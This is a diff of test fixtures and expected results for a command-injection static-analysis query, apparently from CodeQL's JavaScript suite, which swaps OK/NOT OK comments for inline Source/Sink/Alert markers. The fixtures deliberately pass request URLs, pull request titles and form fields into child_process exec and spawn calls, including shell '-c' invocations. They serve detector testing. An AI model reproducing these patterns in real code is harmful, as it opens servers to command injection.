 var app2 = require('express')();
 app2.post('/path', require('body-parser').json(), function(req, res) {
     var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // OK
+    res.render('template', bodyParameter);
 }); 
 
 var app3 = require('express')();
 app3.set('view engine', 'pug');
 app3.post('/path', require('body-parser').json(), function(req, res) {
     var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // OK
+    res.render('template', bodyParameter);
 }); 
 
 var app4 = require('express')();
 app4.set('view engine', 'ejs');
 app4.post('/path', require('body-parser').json(), function(req, res) {
-    var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // NOT OK
+    var bodyParameter = req.body.bodyParameter; // $ Source
+    res.render('template', bodyParameter); // $ Alert
 }); 
 
 var app5 = require('express')();
 app5.engine("foobar", require("consolidate").whiskers);
 app5.set('view engine', 'foobar');
 app5.post('/path', require('body-parser').json(), function(req, res) {
-    var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // NOT OK
+    var bodyParameter = req.body.bodyParameter; // $ Source
+    res.render('template', bodyParameter); // $ Alert
 }); 
 
 var app6 = require('express')();
 app6.register(".html", require("consolidate").whiskers);
 app6.set('view engine', 'html');
 app6.post('/path', require('body-parser').json(), function(req, res) {
-    var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // NOT OK
+    var bodyParameter = req.body.bodyParameter; // $ Source
+    res.render('template', bodyParameter); // $ Alert
 }); 
 
 const express = require('express');
@@ -48,7 +48,7 @@ var router = express.Router();
 var app7 = express();
 app7.set('view engine', 'ejs');
 router.post('/path', require('body-parser').json(), function(req, res) {
-    var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // NOT OK
+    var bodyParameter = req.body.bodyParameter; // $ Source
+    res.render('template', bodyParameter); // $ Alert
 });
 app7.use("/router", router);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.expected
index e8d95064b8e1..b68d40a540dd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.expected
@@ -1,3 +1,55 @@
+#select
+| actions.js:9:8:9:22 | `echo ${title}` | actions.js:8:17:8:57 | github. ... t.title | actions.js:9:8:9:22 | `echo ${title}` | This command line depends on a $@. | actions.js:8:17:8:57 | github. ... t.title | user-provided value |
+| actions.js:19:14:19:31 | `echo ${head_ref}` | actions.js:18:20:18:63 | github. ... ead.ref | actions.js:19:14:19:31 | `echo ${head_ref}` | This command line depends on a $@. | actions.js:18:20:18:63 | github. ... ead.ref | user-provided value |
+| child_process-test.js:17:13:17:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:17:13:17:15 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:18:17:18:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:18:17:18:19 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:19:17:19:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:19:17:19:19 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:20:21:20:23 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:20:21:20:23 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:21:14:21:16 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:21:14:21:16 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:22:18:22:20 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:22:18:22:20 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:23:13:23:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:23:13:23:15 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:25:13:25:31 | "foo" + cmd + "bar" | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:25:13:25:31 | "foo" + cmd + "bar" | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:39:5:39:31 | cp.spaw ...  cmd ]) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:39:26:39:28 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:44:5:44:34 | cp.exec ... , args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:43:15:43:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:54:5:54:39 | cp.exec ... , args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:53:15:53:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:56:5:56:59 | cp.spaw ...  cmd])) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:56:25:56:58 | ['/C',  ... , cmd]) | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:56:5:56:59 | cp.spaw ...  cmd])) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:56:54:56:56 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:57:5:57:50 | cp.spaw ... t(cmd)) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:6:15:6:49 | url.par ... ry.path | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:57:5:57:50 | cp.spaw ... t(cmd)) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:57:25:57:49 | ['/C',  ... at(cmd) | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:67:3:67:21 | cp.spawn(cmd, args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:48:15:48:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:67:3:67:21 | cp.spawn(cmd, args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:66:19:66:22 | args | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
+| child_process-test.js:75:29:75:31 | cmd | child_process-test.js:73:25:73:31 | req.url | child_process-test.js:75:29:75:31 | cmd | This command line depends on a $@. | child_process-test.js:73:25:73:31 | req.url | user-provided value |
+| child_process-test.js:83:19:83:36 | req.query.fileName | child_process-test.js:83:19:83:36 | req.query.fileName | child_process-test.js:83:19:83:36 | req.query.fileName | This command line depends on a $@. | child_process-test.js:83:19:83:36 | req.query.fileName | user-provided value |
+| child_process-test.js:94:11:94:35 | "ping " ... ms.host | child_process-test.js:94:21:94:30 | ctx.params | child_process-test.js:94:11:94:35 | "ping " ... ms.host | This command line depends on a $@. | child_process-test.js:94:21:94:30 | ctx.params | user-provided value |
+| exec-sh2.js:10:12:10:57 | cp.spaw ... ptions) | exec-sh2.js:14:25:14:31 | req.url | exec-sh2.js:10:40:10:46 | command | This command line depends on a $@. | exec-sh2.js:14:25:14:31 | req.url | user-provided value |
+| exec-sh.js:15:12:15:61 | cp.spaw ... ptions) | exec-sh.js:19:25:19:31 | req.url | exec-sh.js:15:44:15:50 | command | This command line depends on a $@. | exec-sh.js:19:25:19:31 | req.url | user-provided value |
+| execSeries.js:14:41:14:47 | command | execSeries.js:18:34:18:40 | req.url | execSeries.js:14:41:14:47 | command | This command line depends on a $@. | execSeries.js:18:34:18:40 | req.url | user-provided value |
+| form-parsers.js:9:8:9:39 | "touch  ... nalname | form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:8:9:39 | "touch  ... nalname | This command line depends on a $@. | form-parsers.js:9:19:9:26 | req.file | user-provided value |
+| form-parsers.js:14:10:14:37 | "touch  ... nalname | form-parsers.js:13:3:13:11 | req.files | form-parsers.js:14:10:14:37 | "touch  ... nalname | This command line depends on a $@. | form-parsers.js:13:3:13:11 | req.files | user-provided value |
+| form-parsers.js:25:10:25:28 | "touch " + filename | form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | This command line depends on a $@. | form-parsers.js:24:48:24:55 | filename | user-provided value |
+| form-parsers.js:36:10:36:31 | "touch  ... ds.name | form-parsers.js:35:25:35:30 | fields | form-parsers.js:36:10:36:31 | "touch  ... ds.name | This command line depends on a $@. | form-parsers.js:35:25:35:30 | fields | user-provided value |
+| form-parsers.js:41:10:41:31 | "touch  ... ds.name | form-parsers.js:40:26:40:31 | fields | form-parsers.js:41:10:41:31 | "touch  ... ds.name | This command line depends on a $@. | form-parsers.js:40:26:40:31 | fields | user-provided value |
+| form-parsers.js:53:10:53:31 | "touch  ... ds.name | form-parsers.js:52:34:52:39 | fields | form-parsers.js:53:10:53:31 | "touch  ... ds.name | This command line depends on a $@. | form-parsers.js:52:34:52:39 | fields | user-provided value |
+| form-parsers.js:59:10:59:33 | "touch  ... ilename | form-parsers.js:58:30:58:33 | part | form-parsers.js:59:10:59:33 | "touch  ... ilename | This command line depends on a $@. | form-parsers.js:58:30:58:33 | part | user-provided value |
+| other.js:7:33:7:35 | cmd | other.js:5:25:5:31 | req.url | other.js:7:33:7:35 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:8:28:8:30 | cmd | other.js:5:25:5:31 | req.url | other.js:8:28:8:30 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:9:32:9:34 | cmd | other.js:5:25:5:31 | req.url | other.js:9:32:9:34 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:10:29:10:31 | cmd | other.js:5:25:5:31 | req.url | other.js:10:29:10:31 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:11:29:11:31 | cmd | other.js:5:25:5:31 | req.url | other.js:11:29:11:31 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:12:27:12:29 | cmd | other.js:5:25:5:31 | req.url | other.js:12:27:12:29 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:14:28:14:30 | cmd | other.js:5:25:5:31 | req.url | other.js:14:28:14:30 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:15:34:15:36 | cmd | other.js:5:25:5:31 | req.url | other.js:15:34:15:36 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:16:21:16:23 | cmd | other.js:5:25:5:31 | req.url | other.js:16:21:16:23 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:17:27:17:29 | cmd | other.js:5:25:5:31 | req.url | other.js:17:27:17:29 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:18:22:18:24 | cmd | other.js:5:25:5:31 | req.url | other.js:18:22:18:24 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:19:36:19:38 | cmd | other.js:5:25:5:31 | req.url | other.js:19:36:19:38 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:22:21:22:23 | cmd | other.js:5:25:5:31 | req.url | other.js:22:21:22:23 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:23:28:23:30 | cmd | other.js:5:25:5:31 | req.url | other.js:23:28:23:30 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:26:34:26:36 | cmd | other.js:5:25:5:31 | req.url | other.js:26:34:26:36 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:28:27:28:29 | cmd | other.js:5:25:5:31 | req.url | other.js:28:27:28:29 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:30:33:30:35 | cmd | other.js:5:25:5:31 | req.url | other.js:30:33:30:35 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| other.js:34:44:34:46 | cmd | other.js:5:25:5:31 | req.url | other.js:34:44:34:46 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
+| third-party-command-injection.js:6:21:6:27 | command | third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command | This command line depends on a $@. | third-party-command-injection.js:5:20:5:26 | command | user-provided value |
 edges
 | actions.js:8:9:8:57 | title | actions.js:9:16:9:20 | title | provenance |  |
 | actions.js:8:17:8:57 | github. ... t.title | actions.js:8:9:8:57 | title | provenance |  |
@@ -209,56 +261,3 @@ nodes
 | third-party-command-injection.js:5:20:5:26 | command | semmle.label | command |
 | third-party-command-injection.js:6:21:6:27 | command | semmle.label | command |
 subpaths
-#select
-| actions.js:9:8:9:22 | `echo ${title}` | actions.js:8:17:8:57 | github. ... t.title | actions.js:9:8:9:22 | `echo ${title}` | This command line depends on a $@. | actions.js:8:17:8:57 | github. ... t.title | user-provided value |
-| actions.js:19:14:19:31 | `echo ${head_ref}` | actions.js:18:20:18:63 | github. ... ead.ref | actions.js:19:14:19:31 | `echo ${head_ref}` | This command line depends on a $@. | actions.js:18:20:18:63 | github. ... ead.ref | user-provided value |
-| child_process-test.js:17:13:17:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:17:13:17:15 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:18:17:18:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:18:17:18:19 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:19:17:19:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:19:17:19:19 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:20:21:20:23 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:20:21:20:23 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:21:14:21:16 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:21:14:21:16 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:22:18:22:20 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:22:18:22:20 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:23:13:23:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:23:13:23:15 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:25:13:25:31 | "foo" + cmd + "bar" | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:25:13:25:31 | "foo" + cmd + "bar" | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:39:5:39:31 | cp.spaw ...  cmd ]) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:39:26:39:28 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:44:5:44:34 | cp.exec ... , args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:43:15:43:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:54:5:54:39 | cp.exec ... , args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:53:15:53:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:56:5:56:59 | cp.spaw ...  cmd])) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:56:25:56:58 | ['/C',  ... , cmd]) | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:56:5:56:59 | cp.spaw ...  cmd])) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:56:54:56:56 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:57:5:57:50 | cp.spaw ... t(cmd)) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:6:15:6:49 | url.par ... ry.path | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:57:5:57:50 | cp.spaw ... t(cmd)) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:57:25:57:49 | ['/C',  ... at(cmd) | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:62:5:62:39 | cp.exec ... , args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:53:15:53:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:67:3:67:21 | cp.spawn(cmd, args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:48:15:48:17 | cmd | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:67:3:67:21 | cp.spawn(cmd, args) | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:66:19:66:22 | args | This command line depends on a $@. | child_process-test.js:6:25:6:31 | req.url | user-provided value |
-| child_process-test.js:75:29:75:31 | cmd | child_process-test.js:73:25:73:31 | req.url | child_process-test.js:75:29:75:31 | cmd | This command line depends on a $@. | child_process-test.js:73:25:73:31 | req.url | user-provided value |
-| child_process-test.js:83:19:83:36 | req.query.fileName | child_process-test.js:83:19:83:36 | req.query.fileName | child_process-test.js:83:19:83:36 | req.query.fileName | This command line depends on a $@. | child_process-test.js:83:19:83:36 | req.query.fileName | user-provided value |
-| child_process-test.js:94:11:94:35 | "ping " ... ms.host | child_process-test.js:94:21:94:30 | ctx.params | child_process-test.js:94:11:94:35 | "ping " ... ms.host | This command line depends on a $@. | child_process-test.js:94:21:94:30 | ctx.params | user-provided value |
-| exec-sh2.js:10:12:10:57 | cp.spaw ... ptions) | exec-sh2.js:14:25:14:31 | req.url | exec-sh2.js:10:40:10:46 | command | This command line depends on a $@. | exec-sh2.js:14:25:14:31 | req.url | user-provided value |
-| exec-sh.js:15:12:15:61 | cp.spaw ... ptions) | exec-sh.js:19:25:19:31 | req.url | exec-sh.js:15:44:15:50 | command | This command line depends on a $@. | exec-sh.js:19:25:19:31 | req.url | user-provided value |
-| execSeries.js:14:41:14:47 | command | execSeries.js:18:34:18:40 | req.url | execSeries.js:14:41:14:47 | command | This command line depends on a $@. | execSeries.js:18:34:18:40 | req.url | user-provided value |
-| form-parsers.js:9:8:9:39 | "touch  ... nalname | form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:8:9:39 | "touch  ... nalname | This command line depends on a $@. | form-parsers.js:9:19:9:26 | req.file | user-provided value |
-| form-parsers.js:14:10:14:37 | "touch  ... nalname | form-parsers.js:13:3:13:11 | req.files | form-parsers.js:14:10:14:37 | "touch  ... nalname | This command line depends on a $@. | form-parsers.js:13:3:13:11 | req.files | user-provided value |
-| form-parsers.js:25:10:25:28 | "touch " + filename | form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | This command line depends on a $@. | form-parsers.js:24:48:24:55 | filename | user-provided value |
-| form-parsers.js:36:10:36:31 | "touch  ... ds.name | form-parsers.js:35:25:35:30 | fields | form-parsers.js:36:10:36:31 | "touch  ... ds.name | This command line depends on a $@. | form-parsers.js:35:25:35:30 | fields | user-provided value |
-| form-parsers.js:41:10:41:31 | "touch  ... ds.name | form-parsers.js:40:26:40:31 | fields | form-parsers.js:41:10:41:31 | "touch  ... ds.name | This command line depends on a $@. | form-parsers.js:40:26:40:31 | fields | user-provided value |
-| form-parsers.js:53:10:53:31 | "touch  ... ds.name | form-parsers.js:52:34:52:39 | fields | form-parsers.js:53:10:53:31 | "touch  ... ds.name | This command line depends on a $@. | form-parsers.js:52:34:52:39 | fields | user-provided value |
-| form-parsers.js:59:10:59:33 | "touch  ... ilename | form-parsers.js:58:30:58:33 | part | form-parsers.js:59:10:59:33 | "touch  ... ilename | This command line depends on a $@. | form-parsers.js:58:30:58:33 | part | user-provided value |
-| other.js:7:33:7:35 | cmd | other.js:5:25:5:31 | req.url | other.js:7:33:7:35 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:8:28:8:30 | cmd | other.js:5:25:5:31 | req.url | other.js:8:28:8:30 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:9:32:9:34 | cmd | other.js:5:25:5:31 | req.url | other.js:9:32:9:34 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:10:29:10:31 | cmd | other.js:5:25:5:31 | req.url | other.js:10:29:10:31 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:11:29:11:31 | cmd | other.js:5:25:5:31 | req.url | other.js:11:29:11:31 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:12:27:12:29 | cmd | other.js:5:25:5:31 | req.url | other.js:12:27:12:29 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:14:28:14:30 | cmd | other.js:5:25:5:31 | req.url | other.js:14:28:14:30 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:15:34:15:36 | cmd | other.js:5:25:5:31 | req.url | other.js:15:34:15:36 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:16:21:16:23 | cmd | other.js:5:25:5:31 | req.url | other.js:16:21:16:23 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:17:27:17:29 | cmd | other.js:5:25:5:31 | req.url | other.js:17:27:17:29 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:18:22:18:24 | cmd | other.js:5:25:5:31 | req.url | other.js:18:22:18:24 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:19:36:19:38 | cmd | other.js:5:25:5:31 | req.url | other.js:19:36:19:38 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:22:21:22:23 | cmd | other.js:5:25:5:31 | req.url | other.js:22:21:22:23 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:23:28:23:30 | cmd | other.js:5:25:5:31 | req.url | other.js:23:28:23:30 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:26:34:26:36 | cmd | other.js:5:25:5:31 | req.url | other.js:26:34:26:36 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:28:27:28:29 | cmd | other.js:5:25:5:31 | req.url | other.js:28:27:28:29 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:30:33:30:35 | cmd | other.js:5:25:5:31 | req.url | other.js:30:33:30:35 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| other.js:34:44:34:46 | cmd | other.js:5:25:5:31 | req.url | other.js:34:44:34:46 | cmd | This command line depends on a $@. | other.js:5:25:5:31 | req.url | user-provided value |
-| third-party-command-injection.js:6:21:6:27 | command | third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command | This command line depends on a $@. | third-party-command-injection.js:5:20:5:26 | command | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.qlref
index f4c8654cda8a..8d677af35712 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/CommandInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-078/CommandInjection.ql
\ No newline at end of file
+query: Security/CWE-078/CommandInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/actions.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/actions.js
index 1cfea0118bc2..ebc765667a85 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/actions.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/actions.js
@@ -5,8 +5,8 @@ const { exec } = require('child_process');
 // function to echo title
 function echo_title() {
   // get the title from the event pull request
-  const title = github.context.payload.pull_request.title;
-  exec(`echo ${title}`, (err, stdout, stderr) => { // NOT OK
+  const title = github.context.payload.pull_request.title; // $ Source
+  exec(`echo ${title}`, (err, stdout, stderr) => { // $ Alert
     if (err) {
       return;
     }
@@ -15,8 +15,8 @@ function echo_title() {
 
 // function which passes the issue title into an exec
 function exec_head_ref() {
-  const head_ref = github.context.payload.pull_request.head.ref;
-  aexec.exec(`echo ${head_ref}`).then((res) => { // NOT OK
+  const head_ref = github.context.payload.pull_request.head.ref; // $ Source
+  aexec.exec(`echo ${head_ref}`).then((res) => { // $ Alert
     console.log(res);
   });
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/child_process-test.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/child_process-test.js
index abc9704a48e8..d11d97fc1c35 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/child_process-test.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/child_process-test.js
@@ -3,76 +3,76 @@ var cp = require("child_process"),
     url = require('url');
 
 var server = http.createServer(function(req, res) {
-    let cmd = url.parse(req.url, true).query.path;
+    let cmd = url.parse(req.url, true).query.path; // $ Sink Source
 
-    cp.exec("foo"); // OK
-    cp.execSync("foo"); // OK
-    cp.execFile("foo"); // OK
-    cp.execFileSync("foo"); // OK
-    cp.spawn("foo"); // OK
-    cp.spawnSync("foo"); // OK
-    cp.fork("foo"); // OK
+    cp.exec("foo");
+    cp.execSync("foo");
+    cp.execFile("foo");
+    cp.execFileSync("foo");
+    cp.spawn("foo");
+    cp.spawnSync("foo");
+    cp.fork("foo");
 
 
-    cp.exec(cmd); // NOT OK
-    cp.execSync(cmd); // NOT OK
-    cp.execFile(cmd); // NOT OK
-    cp.execFileSync(cmd); // NOT OK
-    cp.spawn(cmd); // NOT OK
-    cp.spawnSync(cmd); // NOT OK
-    cp.fork(cmd); // NOT OK
+    cp.exec(cmd); // $ Alert
+    cp.execSync(cmd); // $ Alert
+    cp.execFile(cmd); // $ Alert
+    cp.execFileSync(cmd); // $ Alert
+    cp.spawn(cmd); // $ Alert
+    cp.spawnSync(cmd); // $ Alert
+    cp.fork(cmd); // $ Alert
 
-    cp.exec("foo" + cmd + "bar"); // NOT OK
+    cp.exec("foo" + cmd + "bar"); // $ Alert
 
     // These are technically NOT OK, but they are more likely as false positives
-    cp.exec("foo", {shell: cmd}); // OK
-    cp.exec("foo", {env: {PATH: cmd}}); // OK
-    cp.exec("foo", {cwd: cmd}); // OK
-    cp.exec("foo", {uid: cmd}); // OK
-    cp.exec("foo", {gid: cmd}); // OK
+    cp.exec("foo", {shell: cmd});
+    cp.exec("foo", {env: {PATH: cmd}});
+    cp.exec("foo", {cwd: cmd});
+    cp.exec("foo", {uid: cmd});
+    cp.exec("foo", {gid: cmd});
 
     let sh, flag;
     if (process.platform == 'win32')
       sh = 'cmd.exe', flag = '/c';
     else
       sh = '/bin/sh', flag = '-c';
-    cp.spawn(sh, [ flag, cmd ]); // NOT OK
+    cp.spawn(sh, [ flag, cmd ]); // $ Alert Sink
 
     let args = [];
     args[0] = "-c";
-    args[1] = cmd;  // NOT OK
-    cp.execFile("/bin/bash", args);
+    args[1] = cmd; // $ Sink
+    cp.execFile("/bin/bash", args); // $ Alert
 
-    let args = [];
+    args = [];
     args[0] = "-c";
-    args[1] = cmd;  // NOT OK
+    args[1] = cmd; // $ Sink
     run("sh", args);
 
-    let args = [];
+    args = [];
     args[0] = `-` + "c";
-    args[1] = cmd; // NOT OK
-    cp.execFile(`/bin` + "/bash", args);
+    args[1] = cmd; // $ Sink
+    cp.execFile(`/bin` + "/bash", args); // $ Alert
 
-    cp.spawn('cmd.exe', ['/C', 'foo'].concat(["bar", cmd])); // NOT OK
-    cp.spawn('cmd.exe', ['/C', 'foo'].concat(cmd)); // NOT OK
+    cp.spawn('cmd.exe', ['/C', 'foo'].concat(["bar", cmd])); // $ Alert Sink
+    cp.spawn('cmd.exe', ['/C', 'foo'].concat(cmd)); // $ Alert Sink
 
-	let myArgs = [];
+    let myArgs = [];
     myArgs.push(`-` + "c");
     myArgs.push(cmd);
-    cp.execFile(`/bin` + "/bash", args); // NOT OK - but no support for `[].push()` for indirect arguments [INCONSISTENCY] 
+    cp.execFile(`/bin` + "/bash", myArgs); // $ MISSING: Alert - no support for `[].push()` for indirect arguments
 
 });
 
-function run(cmd, args) {
-  cp.spawn(cmd, args); // OK - the alert happens where `args` is build.
+function run(cmd, args) { // $ Sink
+  cp.spawn(cmd, args); // $ Alert - but note that the sink is where `args` is build.
 }
 
 var util = require("util")
 
 http.createServer(function(req, res) {
-    let cmd = url.parse(req.url, true).query.path;
+    let cmd = url.parse(req.url, true).query.path; // $ Source
 
